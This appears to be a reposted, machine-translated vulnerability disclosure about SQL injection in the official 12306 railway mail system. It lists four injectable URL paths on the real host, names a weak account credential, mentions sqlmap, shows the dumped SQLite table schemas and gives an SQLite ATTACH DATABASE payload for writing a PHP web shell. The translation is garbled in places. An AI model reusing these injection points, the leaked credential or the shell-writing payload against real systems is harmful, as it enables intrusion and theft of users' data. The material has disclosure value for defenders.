12306 at least four deep SQL injection vulnerabilities in the official Mailbox System

Source: Internet
Author: User

12306 at least four deep SQL injection vulnerabilities in the official Mailbox System

Don't look at the title to find the vulnerability. Don't bother!
The downloaded tangscan plug-in is amazing!

The downloaded tangscan plugin detects
 



Http://mail.12306.cn/app/mail/entry

Weak email password:

Zhangyong/123456
 



I wanted to see if there were any problems with the upload. Only SQL injection was found.
 


 


 

Http://mail.12306.cnpost: /app/simple/mail/Folder/list/Sent/0/20 */app/simple/mail/Folder/list/Draft/0/20 */app/simple/mail/Folder/list /Spam/0/20 */app/simple/mail/Folder/list/Trash/0/20 * all four SQL injection points



The injection point space must be replaced with % 20, or 404

When throwing sqlmap, The result injection point type is SQLite.
 


 



The results of the five tables are as follows:
 

mail:mtbno,mno,fno,new,size,time,dele,attach,mid,reply,mfrom,mto,subject,brieffolder:fno,folder,sum,count,new,lastsearchmail:session,sno,mtbno,mno,fno,timesqlite_sequence:name,seqsearch:session,sno,time,count,name,value



SQLite outputs data in a different way. Change the way -- SQL-shell

Several pieces of data are read to prove the hazard
 


 


 


 



Check that SQLite can directly write shell, but you need to know the website path and do not play

Shell mode:

ATTACH DATABASE '$PATH\\shell.php' AS pwn; CREATE TABLE pwn.exp(dataz text); INSERT INTO pwn.exp(dataz)VALUES('');--

 

Solution:

It's hard to get the ticket home!

I am a good citizen

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.